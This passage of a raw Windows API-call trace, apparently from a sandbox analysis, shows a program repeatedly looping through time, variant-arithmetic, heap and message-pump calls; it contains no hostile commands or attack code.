rgbDig=0x18ec5c) returned 0x0 [0180.704] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.704] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.704] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.704] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.704] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.704] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.704] GetTickCount () returned 0x115dd64 [0180.704] GetTickCount () returned 0x115dd64 [0180.705] CoFreeUnusedLibraries () [0180.705] GetTickCount () returned 0x115dd64 [0180.705] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.705] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.705] GetTickCount () returned 0x115dd64 [0180.705] IsWindowVisible (hWnd=0x30268) returned 0 [0180.705] IsWindowVisible (hWnd=0x40298) returned 0 [0180.705] Sleep (dwMilliseconds=0x0) [0180.705] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.705] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.705] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.705] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.705] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.705] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.705] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.705] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.705] GetTickCount () returned 0x115dd64 [0180.705] GetTickCount () returned 0x115dd64 [0180.706] CoFreeUnusedLibraries () [0180.706] GetTickCount () returned 0x115dd64 [0180.706] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.706] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.706] GetTickCount () returned 0x115dd64 [0180.706] IsWindowVisible (hWnd=0x30268) returned 0 [0180.706] IsWindowVisible (hWnd=0x40298) returned 0 [0180.706] Sleep (dwMilliseconds=0x0) [0180.706] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.706] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.706] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.706] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.706] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.706] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.706] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.707] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.707] GetTickCount () returned 0x115dd64 [0180.707] GetTickCount () returned 0x115dd64 [0180.707] CoFreeUnusedLibraries () [0180.707] GetTickCount () returned 0x115dd64 [0180.707] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.707] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.707] GetTickCount () returned 0x115dd64 [0180.707] IsWindowVisible (hWnd=0x30268) returned 0 [0180.707] IsWindowVisible (hWnd=0x40298) returned 0 [0180.707] Sleep (dwMilliseconds=0x0) [0180.707] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.707] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.707] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.707] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.707] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.708] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.708] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.708] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.708] GetTickCount () returned 0x115dd64 [0180.708] GetTickCount () returned 0x115dd64 [0180.708] CoFreeUnusedLibraries () [0180.708] GetTickCount () returned 0x115dd64 [0180.708] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.708] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.708] GetTickCount () returned 0x115dd64 [0180.708] IsWindowVisible (hWnd=0x30268) returned 0 [0180.708] IsWindowVisible (hWnd=0x40298) returned 0 [0180.708] Sleep (dwMilliseconds=0x0) [0180.708] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.708] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.708] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.708] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.708] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.709] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.709] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.709] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.709] GetTickCount () returned 0x115dd64 [0180.709] GetTickCount () returned 0x115dd64 [0180.709] CoFreeUnusedLibraries () [0180.709] GetTickCount () returned 0x115dd64 [0180.709] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.709] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.709] GetTickCount () returned 0x115dd64 [0180.709] IsWindowVisible (hWnd=0x30268) returned 0 [0180.709] IsWindowVisible (hWnd=0x40298) returned 0 [0180.709] Sleep (dwMilliseconds=0x0) [0180.709] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.709] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.709] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.709] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.710] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.710] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.710] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.710] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.710] GetTickCount () returned 0x115dd64 [0180.710] GetTickCount () returned 0x115dd64 [0180.710] CoFreeUnusedLibraries () [0180.710] GetTickCount () returned 0x115dd64 [0180.710] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.710] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.710] GetTickCount () returned 0x115dd64 [0180.710] IsWindowVisible (hWnd=0x30268) returned 0 [0180.710] IsWindowVisible (hWnd=0x40298) returned 0 [0180.710] Sleep (dwMilliseconds=0x0) [0180.710] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.711] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.711] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.711] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.711] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.711] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.711] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.711] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.711] GetTickCount () returned 0x115dd64 [0180.711] GetTickCount () returned 0x115dd64 [0180.711] CoFreeUnusedLibraries () [0180.711] GetTickCount () returned 0x115dd64 [0180.711] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.711] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.711] GetTickCount () returned 0x115dd64 [0180.711] IsWindowVisible (hWnd=0x30268) returned 0 [0180.711] IsWindowVisible (hWnd=0x40298) returned 0 [0180.711] Sleep (dwMilliseconds=0x0) [0180.711] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.712] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.712] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.712] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.712] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.712] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.712] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.712] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.712] GetTickCount () returned 0x115dd64 [0180.712] GetTickCount () returned 0x115dd64 [0180.712] CoFreeUnusedLibraries () [0180.712] GetTickCount () returned 0x115dd64 [0180.712] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.712] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.712] GetTickCount () returned 0x115dd64 [0180.712] IsWindowVisible (hWnd=0x30268) returned 0 [0180.712] IsWindowVisible (hWnd=0x40298) returned 0 [0180.713] Sleep (dwMilliseconds=0x0) [0180.713] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.713] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.713] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.713] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.713] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.713] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.713] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.713] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.713] GetTickCount () returned 0x115dd64 [0180.713] GetTickCount () returned 0x115dd64 [0180.713] CoFreeUnusedLibraries () [0180.713] GetTickCount () returned 0x115dd64 [0180.713] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.713] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.713] GetTickCount () returned 0x115dd64 [0180.714] IsWindowVisible (hWnd=0x30268) returned 0 [0180.714] IsWindowVisible (hWnd=0x40298) returned 0 [0180.714] Sleep (dwMilliseconds=0x0) [0180.714] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.714] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.714] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.714] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.714] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.714] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.714] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.714] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.714] GetTickCount () returned 0x115dd64 [0180.714] GetTickCount () returned 0x115dd64 [0180.714] CoFreeUnusedLibraries () [0180.714] GetTickCount () returned 0x115dd64 [0180.714] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.714] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.714] GetTickCount () returned 0x115dd64 [0180.715] IsWindowVisible (hWnd=0x30268) returned 0 [0180.715] IsWindowVisible (hWnd=0x40298) returned 0 [0180.715] Sleep (dwMilliseconds=0x0) [0180.715] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.715] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.715] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.715] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.715] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.715] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.715] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.715] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.715] GetTickCount () returned 0x115dd64 [0180.715] GetTickCount () returned 0x115dd64 [0180.715] CoFreeUnusedLibraries () [0180.715] GetTickCount () returned 0x115dd64 [0180.715] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.715] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.715] GetTickCount () returned 0x115dd64 [0180.716] IsWindowVisible (hWnd=0x30268) returned 0 [0180.716] IsWindowVisible (hWnd=0x40298) returned 0 [0180.716] Sleep (dwMilliseconds=0x0) [0180.716] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.716] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.716] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.716] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.716] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.716] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.716] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.716] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.716] GetTickCount () returned 0x115dd64 [0180.716] GetTickCount () returned 0x115dd64 [0180.716] CoFreeUnusedLibraries () [0180.716] GetTickCount () returned 0x115dd64 [0180.717] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.717] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.717] GetTickCount () returned 0x115dd64 [0180.717] IsWindowVisible (hWnd=0x30268) returned 0 [0180.717] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.717] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.717] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.717] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.717] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.717] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.717] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.717] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.717] GetTickCount () returned 0x115dd64 [0180.718] CoFreeUnusedLibraries () [0180.718] GetTickCount () returned 0x115dd64 [0180.718] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.718] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.718] GetTickCount () returned 0x115dd64 [0180.718] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.718] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.718] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.718] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.718] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.718] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.718] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.718] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.718] CoFreeUnusedLibraries () [0180.718] GetTickCount () returned 0x115dd64 [0180.718] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.719] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.719] GetTickCount () returned 0x115dd64 [0180.719] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.719] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.719] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.719] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.719] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.719] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.719] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.719] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.719] CoFreeUnusedLibraries () [0180.719] GetTickCount () returned 0x115dd74 [0180.719] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.719] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.719] GetTickCount () returned 0x115dd74 [0180.720] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.720] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.720] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.720] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.720] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 